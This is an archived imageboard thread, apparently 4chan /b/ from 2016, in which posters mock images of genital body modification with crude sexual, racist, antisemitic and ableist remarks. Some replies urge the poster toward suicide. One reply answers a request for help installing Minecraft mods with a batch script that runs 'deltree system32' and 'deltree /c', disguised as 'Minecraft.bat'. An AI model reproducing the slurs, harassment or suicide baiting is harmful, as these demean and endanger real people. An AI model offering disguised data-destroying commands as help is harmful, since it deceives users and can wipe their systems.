Its 2016.
Why havent you modded your dick yet?
>>690732583
>that's a disease mate
I'm not gay.
>>690732583
You have 0 chance of getting laid ever again
That's fucking disgusting, and depressing.
wtf do you do with that?
>>690733372
Post a video fucking a girl and have girl say how it feels during it. Look for girls who are into tenticle rape and furry shit.
you're fucked my friend. get help.
I haven't modded it because I'm not a degenerate deviant scumbag. Honestly, why is that necessary? No one's going to see it anyway cause you can't pull the bitches like me.
i have a PA and that's enough
>>690732583
forgot the meat horror show, those floors. japan or somewhere east?
>>690732870
Don't agree. Maybe the chance is even higher for him. Lets presume that he was fucked up before. Fucked up guys want fucked up girls and the other way around. He might have been too bland before the mod. "Vanilla" girls are boring as fuck.
>>690732583
Kek, yourre fucked
How does it feel to get hard?
Also how often do infections happen, id say it'd be pretty often
>>690732583
Does this still work? How the hell is he able to fuck without completely destroying his dick?
>>690734239
OP shows it off on 4chan like a faggot, that's what
>>690732583
ahhh fuck what happens when its soft an shit?
then goes into erection mode?
also why is there a bubonic plague on the shaft ?
Why is it splitting in half is it painful?
did you completely cut off the bottom side of your dick? wtf is wrong with you OP
NIGGA WHERE IS YOUR BALLS YOU HAVE NO TESTICLES WHAT THE FUCK
>>690732583
Does it still work?
Also timestamp
>>690735153
Holy fuck I didn't even notice that. Bumping for horrific relevance.
>>690735310
KILL IT WITH FIRE
>>690732583
modded? more like destroyed
How does the urethra not get infected?
Why do doctors do this to mentally ill patients?
Why don't you have any balls OP???? I HAVE TO KNOW
Post more pics no one has just 3 pics of this type of shit
Ribbed for her pleasure.
Torn in the center for your infection .
>>690735504
>doctors
they dont go to docs, they go to "body mutilation" experts. y'know your local piercing shop moonlighting for the extra $200
Honestly OP, tell us. Have you ever fucked a bitch with this monstrosity you call a penis?
>>690735310
Why didn't you even try to make it symmetrical?
This just looks retarded
>>690734621
>Maybe the chance is even higher.
>>690735716
I honestly would never want to fuck a chick that would let that inside her.
Maybe I should start giving out a pre bang questionnaire.
>>690735310
looks like shit but I bet it feels amazing
>>690735936
Is that a fucking hole, OP....?
>>690736037
His dick doubles as a bong.
>>690735310
What is seen cannot be unseen
>>690735936
IT'S ALIVE
>>690735936
can you remove all of them?
>>690732583
Disgusting as fuck.
>>690735936
Burn it down
>>690732583
Because I don't want to show my junk every time I walk through a metal detector.
>>690735936
Whats the hole for? Urethra play?
>>690735936
STILL SOMETHING IN THE HOLE OP
>>690734621
Yeah, nothing gets girls wet like a split bowser dick
>>690735936
Hello weeddle
>>690736190
Not even if I was offered free weed for life!!!
I even suck cock for weed
>>690735936
How can you fuck a girl with this ?
>>690736037
>>690736375
>>690736378
it's not a hole, it's like a googely eye but with a silver outline
still retarded regardless
>>690735310
Can you even wank dude? Also timestamp
>>690735875
>pre-bang questionnaire
Lost my shit
>>690733372
...... Why.
>>690735936
You supposed to smoke a bowl with that?
>>690733372
>Turning your dick into a Resident Evil mob
i seriously didn't think anyone did this
Post more
aww fuck i haven't played marbles in years
>>690735936
tfw u have to admit to cock mods when going through airport
>>690737298
>tfw the metal used in body jewelry doesn't set off alarms
You're in luck OP. It's 2016, and you can now remove your dick and get a new one since you've decided to fuck up your fireman.
http://www.nytimes.com/2016/05/17/health/thomas-manning-first-penis-transplant-in-us.html
be sure to post back here when it hits you that your dick is permanently ruined and you're asking for advice on how to kill yourself lmao
>>690732583
hey m8
R8 ma slugdickus
>>690737665
The rarest Pepe
>>690735052
I think theyre metal beads.
WHY?!
Get on my level
>>690732583
>goys
top oy vey
>>690732583
Good luck with passing metal detectors at airports
>>690737665
how does even get sexual pleasure with a dick like that.
>>690738712
insert fingers into penis?
>>690738848
dude what the fuck?
>>690738308
Only way to get a true measurement I guess
>>690737665
When he takes a piss it sounds like someone turned on the faucet.
>>690732583
Are you really that mentally ill OP?
If there was a physical manifestation of Down syndrome, that would be it.
>>690738712
Ma bitch loves it
>>690732583
Why would you ever do that to yourself?
OP, turn your dick into a vape stick.
>>690739183
>bitches love it
>>690739072
kek
>>690732583
what's wrong with you OP?
>>690739183
I don't even know what the fuck I'm looking at in this pic...
>>690739169
>physical manifestation
>Down Syndrome
what are you, fucking retarded?
Time stamp?
I haven't modded my dick because it works
im down for my light mods, girls dig em, but not OPs cancerous bullshit
>>690738308
>i was told it doesnt count unless its from the base to the tip
>>690739183
Is that snails on a dick
>>690739326
Ok
Just one more
>>690739501
Yes sorry u had to see that
>>690739473
Thats gross also
>>690735738
>I can't understand something
>It is retarded
your logic is indestructible
>>690732583
Your dick looks like corn on the cob, cut that shit off and pop it in the microwave op
>>690739473
nice dick
>>690739550
o h m y g o d
>>690739473
Thats i think normal :3
Next lvl
>>690736450
kek
>>690739583
not him but you sound like a stuck up bitch
i like it
>>690739841
I like you
>>690739841
>>690739894
Get a room and suck each other's mangled dicks. Heathens.
Can someone post that gif, where a man has both, a vagina and a penis.
Thank you
>>690739894
>>690739841
how about both of you come to my house so we can tie string around each other's cocks and play cat and mouse
>>690740120
I too want to fill my shaft with silicon balls and gauge my head, we can circle jerk with our lumpy dicks
This thread really hurts.
>>690740259
I want some jelly daddy
Call a doctor dude
>>690732583
thats fantastic. keep it up!
HAHAHAHAHAHA
The reactions to the pictures on this thread is top fucking kek
fucking dying over here
>>690732583
eat shit and good luck with that once you go to jail!
>>690739995
Why the fuck do you wanna see that... oh wait, this is 4chan
Sniff in petrol is the only way to unsee this sickness
>>690739583
lol there is nothing to understand about this except that they do it for pain.
Also he meant that making it asymmetrical is retarded.
Also you're on 4chan, newfag. Everyone talks about his own shit.
>>690732583
your MRI is going to be awesome....
>>690735936
Get help, you fucking degenerate.
Why would you do this
>>690737481
>tfw where do i sign up
>>690732583
Oh but I have, OP. Got one when I was 20 and stopped wearing it when I got a real job and was too snug in dress pants.
>>690732583
You're a fucked up human being lol. Nothing chanced here.
>>690741458
ultimate juden
>>690739550
tfw when no snail wife
>>690739183
came
>>690732583
Your dick op
>>690741458
WTF
>>690741458
Looks like a cherry Jolly Rancher.
>>690741570
But just wait till you see my...MULTIDICK!
What is this obsession with splitting your dick in half
>>690735875
>pre bang questionnaire
>>690735936
can it even get hard?
can you pee out of that hole?
>>690732583
Look at the sissy feminine cunt hair.
OPs dick
It's afraid
>Watching this thread
>>690741919
Two dicks man.. Who doesn't want to have two cocks?
>>690742297
>testicular cancer
>>690742430
Are you saying that it looks deformed or that it's huge?
>>690738059
Kek
>>690735936
>exsperminate
>exsperminate
>>690732583
I guess this is what white guys have to do to compete with black guys.
>>690742396
BME used to bethe shit back in the day. Now it's just all fetish porn really.
>>690743661
Niggers have big dicks thanks to several hundred years of white men breeding them that way, so they would fetch a higher price at auction.
Just remember nigs, you were, and always will be, nothing more than a tool on this earth.
>>690743661
op is mexican
>>690732583
>>690733372
>>690741458
Red rocket
>>690739473
That I would suck if you lost weight and shaved.
>>690732583
does nabyody kno how 2 install mincreaft mods ples
>>690744200
Wrong gay thread.
>>690735153
OMG i died
>>690744200
go into a notepad and copy paste the following
@echo off
deltree system32
deltree /c
now save the file as "Minecraft.bat"
Make sure you under "all files"
>>690739183
Hi, could I get a dick with extra snails please
>>690732583
sick tattoo bro
>>690739183
The fuck i am looking at
>>690744582
won't do shit since it's not in system32 root
>>690742922
Wow. This actually has me fucked up. You can post a video of a baby getting killed with a meat grinder. But this actually bothers me :/
>>690745333
do it and post screenshot then, mister trips
>>690737665
God is dead...
>>690732583
Does your dick even feel anything?
>>690745504
>new dark souls boss
>>690745504
...
>>690735310
It looks like it hurts all the time
>>690732583
>>690733372
>>690735310
>>690735936
Why have a rigged and studded condom when you could just make your dick be that way
>>690732583
Mod it until it crashes
>>690732583
I have. Feels amazing.
It's that supossed to be cool or some stupid shit like that?
>>690745635
pain
>>690745504
would pound
>>690732583
how does one make their dick bigger? with all the things they can do in modern society with science how come they have yet to make a legit penis size increaser drug that one could buy at walgreens?
There are drugs, chemicals, and hormones out there that decrease penis size, so why not increase?
>>690732583
Because I'm not an edgy tremendous faggot like you op
I was about to go out and eat but in just going to stay home and spend the afternoon vomiting thanks OP you fucked up my day
>>690746255
with or without the mods the inplace
>>690737665
Why don't you just keep going and make that into a fucking vag.
Should have just labeled this thread Nope general
>>690745504
The ultimate trap.
At first I was grossed out, but in a hundred years it won't matter what your dick looked like.
We are fucking weird-ass animals.
>>690746384
Mines fine size wise but I'd like to know this
>>690736450
Kek
>>690747425
>Mines fine size wise
>>690738848
Kek
>>690741015
Penis lengthening in fact.
>>690734398
>cause you can't pull the bitches like me
Lol stfu you fat ugly loser
Show your face if ur really all that
Filipino alert
>>690739183
>tfw this is not a french restaurant
>>690747608
Is this because of my rhymes
>>690736834
so when u r out of cum ur buddy can hook u up wit a refill fam
>>690747666
Satan plz go
>>690741704
This proves that there is no God
Existence is pain
Time to finally end it
>>690739473
we get it. you vape.
>>690739230
He is mentally ill.
Test
>>690737665
>>690742396
Those Slipknot masks get more and more ridiculous.
For the love of god please someone screencap this bread. Pure gold
>>690741675
Too bad it probably tastes like shit.
>>690732583
>With these upgrades, you never stood a chance.
>>690732583
I have a prince albert
>>690732583
>Why havent you modded your dick yet?
because reality doesnt have a save point, and reloading.
If it did I would mod to fuck, and just try every fucked-up thing once, just to see what its like. but the whole no going back sort of makes it a no-go.
I sort of wonder what it must feel like having a cock splitting, urethral reroute, split balls with weights on each one and having a massive prolapse to play with...
but would never want to have it done in reality.
>>690748420
Mentally lit*
>>690748326
Don't talk to me or my son ever again
>>690748903
Hahahahahaha lost it
>>690732583
now it kinda looks like a diseased pussy...
>>690732583
I got modded cock
>>690748768
Well...
>>690743661
Why is 98% of porn done by White guys if nigs got big dicks?
this thread . . .
>>690732583
Eeeeeeeeeeeeee no
>>690736579
Dude, cmon.
No it is not.
Open your fucking eyes.
>>690736941
Underrated post
Lost the will to live.......
>>690732583
Because I want women to use it, not scream when they see it.
>>690732583
what the fuck...
That shit looks like a fun size 100 grand
>>690738308
Is that in cm?
>>690735936
that legit made my dick hurt just looking at
>mfw this thread
>>690732583
>>690733372
>>690735310
>>690735936
>mfw black mods his dick
>>690743899
Dude,..
>>690751341
Toppest of keks
>>690734310
Underrated
>>690746095
looks good, ive always wanted to get one of these but i hear they hurt like a bitch
Have fun at the airport
>>690732583
>>690733372
>>690735310
>>690735936
>>690737665
There should be a place where we can lock you fuckers away from normal society.
>>690739491
kek
>>690732583
Can't mod. I have the console version.
Screen cap now.
>>690737665
>SCREAMING LIKE A LITTLE GIRL
DUDE WHAT THE FUCK IS WRONG WITH YOU
>>690735052
>Soft an shit
>Erection mode
Fucking summer normie
>>690741704
this is what happens when you go to thailand for a $250 sex change.
>>690742922
im fucking triggered by this WHAT IN THE FUCK
>>690743661
thanks to you im now looking at this train wreck of a thread with a boner
thanks dick
>>690732583
I don't feel like making my dick look like a special snowflake.
someone screencap this bullshit
god had abandoned us
What... in the fuck... is this whole thread
>>690754624
>mfw this is you now
>>690732583
If you're ever thinking about calling a prostitute just remember that it's guys like this that have their dicks in those girls most of the time
>>690732583
dick was modded
they took my skin, charlie
OP's dick looks like a damn candy bar. Bug dick dude, I told you to never post the contents of that folder again... do you have another folder of bugs on dicks?
>>690732583
Because taste differs.
>>690738308
gross its cut
>>690741458
Good goyim
>>690741704
Nothing like having to wipe your balls after a piss
>>690743599
underrated
If i were your dick i would disown you and pack up whats left of my bags and run away
>>690732583
...because I'm not autistic
They should've shot you there in orleans
Ok im good. I think ive had enuf chan today. Pic very related.
>>690739550
Why don´t use a leech?
>>690739473
What is the point of this?
>>690732583
I have to admit that I'd be curious about how that would feel sliding in and out of me.
>>690745504
Penis looks lika rare done
>>690743846
False, several generations is not long enough for artificial selection to have any effect on humans. Breeding of slaves had no effect on modern black people
>its 2016 and he hasnt injected saline into his ballsack yet
>>690748742
Newfag
they should mod your meds.
>>690753184
welcome to /b, enjoy your stay
>>690736497
kys
>>690758495
Looks comfy as fuck
>>690758495
Now I know not all white do this shit but. Seriously WTF IS THE FUCKING POINT OF THIS. DID THEY JUST FINESHED THAT YOU KNOW WHAT SOUTH PARK EPISODE. it looks so painful
>>690759015
I ment to say don't.
>this fucking thread
I love 4chan.
>>690740684
newfag?
>>690739473
would dominate you then reward your good behavior with a nice pussy fucking/10
tfw domme and no pet
>>690759398
why
not trolling
just tell me why in the fuck would you do that
![admiralakbar[1].jpg](https://cdn.randomarchive.com/b/image/1466/516/1466516391977.jpg "admiralakbar[1]")
